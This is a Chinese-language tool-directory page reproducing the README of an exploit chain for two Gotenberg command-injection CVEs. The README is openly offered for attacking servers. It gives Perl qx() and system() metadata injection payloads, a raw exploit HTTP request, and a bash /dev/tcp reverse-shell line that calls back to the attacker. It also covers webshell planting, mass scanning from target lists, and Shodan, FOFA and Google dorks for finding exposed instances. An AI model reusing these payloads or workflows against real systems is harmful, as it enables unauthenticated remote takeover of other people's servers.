Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
-GOTENBERG-RCE-CHAIN — 针对 Gotenberg CVE-2026-42589 和 CVE-2026-40281 的 Python 漏洞利用链:检测存在漏洞的实例,注入元数据载荷,并投放反向 shell 或 webshell。 | Kitploit
工具/GitHubGitHub/hackfutsecroot/-gotenberg-rce-chain
侦察漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试命令与控制
分享
远程访问工具
GitHubhackfutsecroot/-gotenberg-rce-chain

-GOTENBERG-RCE-CHAIN

针对 Gotenberg CVE-2026-42589 和 CVE-2026-40281 的 Python 漏洞利用链:检测存在漏洞的实例,注入元数据载荷,并投放反向 shell 或 webshell。

查看仓库网站
21个月前尚未审核

🔥 GOTENBERG RCE 攻击链

CVE-2026-42589 + CVE-2026-40281

Python License CVE CVE CVSS

交互式 Shell

Gotenberg ≤ 8.30.1 — 未认证远程代码执行

串联利用,包含反向 Shell + 文件管理器 WebShell + 交互式盲注安全模式


📋 目录

  • 概述
  • 漏洞
  • 功能特性
  • 安装
  • 使用方法
  • 截图
  • 工作原理
  • 检测 Dorks
  • 常见问题
  • 联系方式
  • 免责声明

🎯 概述

Gotenberg 是一个无状态的 Docker 驱动 API,可将文档(HTML、Markdown、Office 等)转换为 PDF。≤ 8.30.1 版本在 /forms/pdfengines/metadata/write 端点存在两个严重的未认证 RCE 漏洞。

本仓库提供两个工具,将两个 CVE 串联为单一利用工作流:

工具用途
gotenberg_rce.py检测 + 交互式 Shell + 文件管理器 WebShell 投放
auto_revshell.py自动检测 IP → 启动监听 → 触发反向 Shell 载荷 → 交互式会话

🐛 漏洞

CVE-2026-42589 — 元数据键注入

字段值
类型操作系统命令注入(RCE)
CVSS9.8 — 严重
向量POST /forms/pdfengines/metadata/write
注入点JSON 元数据键
根本原因通过 ExifTool 配置调用 system()

CVE-2026-40281 — 元数据值注入(Perl)

字段值
类型操作系统命令注入(RCE)
CVSS10.0 — 严重
向量POST /forms/pdfengines/metadata/write
注入点JSON 元数据值
根本原因通过 ExifTool 调用 qx()(Perl)

受影响版本

版本4258940281
< 8.29.1✅✅
8.29.1✅✅
8.30.0✅✅
8.30.1✅✅
≥ 8.31.0❌❌

✨ 功能特性

  • 🔍 可靠检测 — 直接(标记)+ 盲注(时序 + HTTP 500)
  • 🎯 双 CVE 利用 — 同时尝试 40281 和 42589
  • 🐚 自动反向 Shell — 7 种载荷回退(bash、python、nc、perl、mkfifo)
  • 📡 自动 IP 检测 — 按回退顺序使用 4 个公共 API
  • 🕸️ 文件管理器 WebShell — 深色主题 PHP Web UI(上传 / 浏览 / 执行 / 删除)
  • 🖥️ 交互式 Shell — 支持元命令(!upload、!shell、!check、!clear)
  • 🧵 多线程 — 支持批量扫描
  • 🛡️ 盲注安全 — 即使目标返回 HTTP 500 也能工作
  • 🎨 彩色输出 — 清晰、易读的日志

📦 安装

环境要求

  • Python 3.8+
  • requests、urllib3

安装步骤

git clone https://github.com/HackfutSecRoot/-GOTENBERG-RCE-CHAIN.git
cd -GOTENBERG-RCE-CHAIN

python3 -m venv venv
source venv/bin/activate     # Linux/Mac
# venv\Scripts\activate      # Windows

pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

🚀 使用方法

🐚 自动反向 Shell(auto_revshell.py)

python auto_revshell.py -u http://target:3000

自动检测你的公网 IP → 绑定监听器 → 利用目标 → 将你带入 shell。

手动 IP

  python gotenberg_rce.py -u http://target:3000                    # check only
  python gotenberg_rce.py -u http://target:3000 -i                 # interactive (blind)
  python gotenberg_rce.py -u http://target:3000 --rev              # auto reverse shell (auto IP)
  python gotenberg_rce.py -u http://target:3000 --rev --lport 4444 # auto with custom port
  python gotenberg_rce.py -u http://target:3000 --rev --lhost 1.2.3.4 --lport 4444
  python gotenberg_rce.py -f targets.txt --rev --lport 4444 -t 20 -o results.txt

选项

标志描述默认值
-u, --url目标 URL (必填)—
--lhost你的公网 IP自动检测
--lport监听端口4444
--wait等待回调的秒数25
--timeout每个请求的超时时间60
--no-banner跳过横幅false

🖥️ 交互式 Shell(gotenberg_rce.py)

python gotenberg_rce.py -u http://target:3000 -i

将你带入一个交互式伪 shell:

rOOt@HFT:~$ id
uid=0(root) gid=0(root) groups=0(root)

rOOt@HFT:~$ uname -a
Linux gotenberg 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 x86_64 GNU/Linux

rOOt@HFT:~$ !shell
[*] Shell URL: http://target:3000/var/www/html/fm_abc123.php

rOOt@HFT:~$ exit
[*] Exiting interactive shell.

命令

标志描述
-u, --url单个目标
-f, --file包含目标的文件(每行一个)
-t, --threads批量扫描的线程数
--check-only仅检测,不利用
--shell投放 File Manager webshell
-i, --interactive进入交互式 shell
-o, --output保存结果

元命令(在交互式 shell 内)

命令操作
help、?显示帮助
exit、quit、q退出
!upload重新部署 File Manager shell
!shell显示 shell URL
!check重新检查漏洞
!clear清屏

📡 批量扫描 + Webshell

python gotenberg_rce.py -f targets.txt --shell -t 20 -o results.txt

targets.txt:

# one URL per line
http://1.2.3.4:3000
https://gotenberg.internal:3000
http://5.6.7.8:3000

📸 截图

交互式 shell

反向 Shell

[*] Detecting public IP...
[+] Public IP: 1.2.3.4
[+] Listener bound on 0.0.0.0:4444

[*] Sending reverse shell to 1.2.3.4:4444...
    [1/7] bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'...

[+] CALLBACK RECEIVED from 134.199.148.233
[*] Entering interactive shell. Type 'exit' to quit.

# id
uid=0(root) gid=0(root) groups=0(root)
# hostname
gotenberg

🔬 工作原理

1. 检测

该工具向 /forms/pdfengines/metadata/write 发送一个受控载荷:

POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=...

--BOUNDARY
Content-Disposition: form-data; name="files"; filename="test.pdf"
Content-Type: application/pdf

%PDF-1.4
...
--BOUNDARY
Content-Disposition: form-data; name="metadata"

{"Title":"test\n-Title<${PDFVersion;$_=qx("echo MARKER")}>"}
--BOUNDARY--

分析的信号:

响应含义
HTTP 200 + 标记直接 RCE
HTTP 500 + 长时间延迟盲注 RCE
HTTP 400已修补或无效载荷
HTTP 404非 Gotenberg

2. 利用

尝试两种注入向量:

CVE-2026-40281 — 元数据键中的 Perl 注入:

{"Title\n-Title<${PDFVersion;$_=qx("CMD")}>": "x"}

CVE-2026-42589 — 元数据值中的 system() 注入:

{"Title\n-if\nsystem('CMD')||1\n-Comment": "x"}

3. 输出提取

命令被包裹在唯一标记之间并进行 base64 编码:

echo MARKER_START; (CMD) 2>&1 | base64; echo MARKER_END

该工具解析 PDF 响应(包括 zlib 压缩流),并提取标记之间的 base64 数据块。

4. 盲注模式

当目标返回 HTTP 500(命令执行后崩溃)时,该工具:

  • 通过时序确认 RCE(sleep 8 → 约 8 秒延迟)
  • 回退到反向 shell 或 OOB 数据外带

🔎 检测 Dork

Shodan

ssl:"gotenberg" port:443
org:"Gotenberg" http.status:200
ssl:"thecodingmachine" port:443
org:"Thecodingmachine" http.status:200
http.html:"Gotenberg" port:3000

FOFA

body="Gotenberg"
port="3000" && body="Gotenberg"
body="/forms/chromium/convert/url"
body="/forms/pdfengines/metadata/write"

Google

inurl:"/forms/chromium/convert/url"
inurl:"/forms/pdfengines/metadata/write"
intitle:"Gotenberg"

验证目标

curl -s http://TARGET:3000/version
# vulnerable if < 8.31.0

❓ 常见问题

“无法部署 shell — 回退到盲命令模式”

你的目标是纯 Gotenberg — 没有 Web 服务器,没有 PHP。请改用反向 shell:

python auto_revshell.py -u http://target:3000

“未收到回调”

  1. 你的公网 IP 必须从目标主机可达
  2. 端口 <lport> 必须在防火墙中开放
  3. 如果位于 NAT 之后,请在路由器上对 <lport> 进行端口转发
  4. 或者使用 VPS / ngrok 作为中继:
    ngrok tcp 4444
    # → tcp://0.tcp.ngrok.io:12345
    # Use: --lhost 0.tcp.ngrok.io --lport 12345
    

“两个 CVE 均返回 HTTP 400”

目标已修补(≥ 8.31.0)。请验证:

curl -s http://target:3000/version

“HTTP 500 但无输出”

命令已执行,但 PDF 崩溃了。这是盲 RCE:

  • 使用 auto_revshell.py
  • 或 OOB 外带(curl 到你的监听器)

为什么不在 Gotenberg 上使用文件管理器 PHP?

Gotenberg 是一个微服务:

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

暂无热门数据。

探索所有工具

浏览我们的工具集合

查看所有工具 →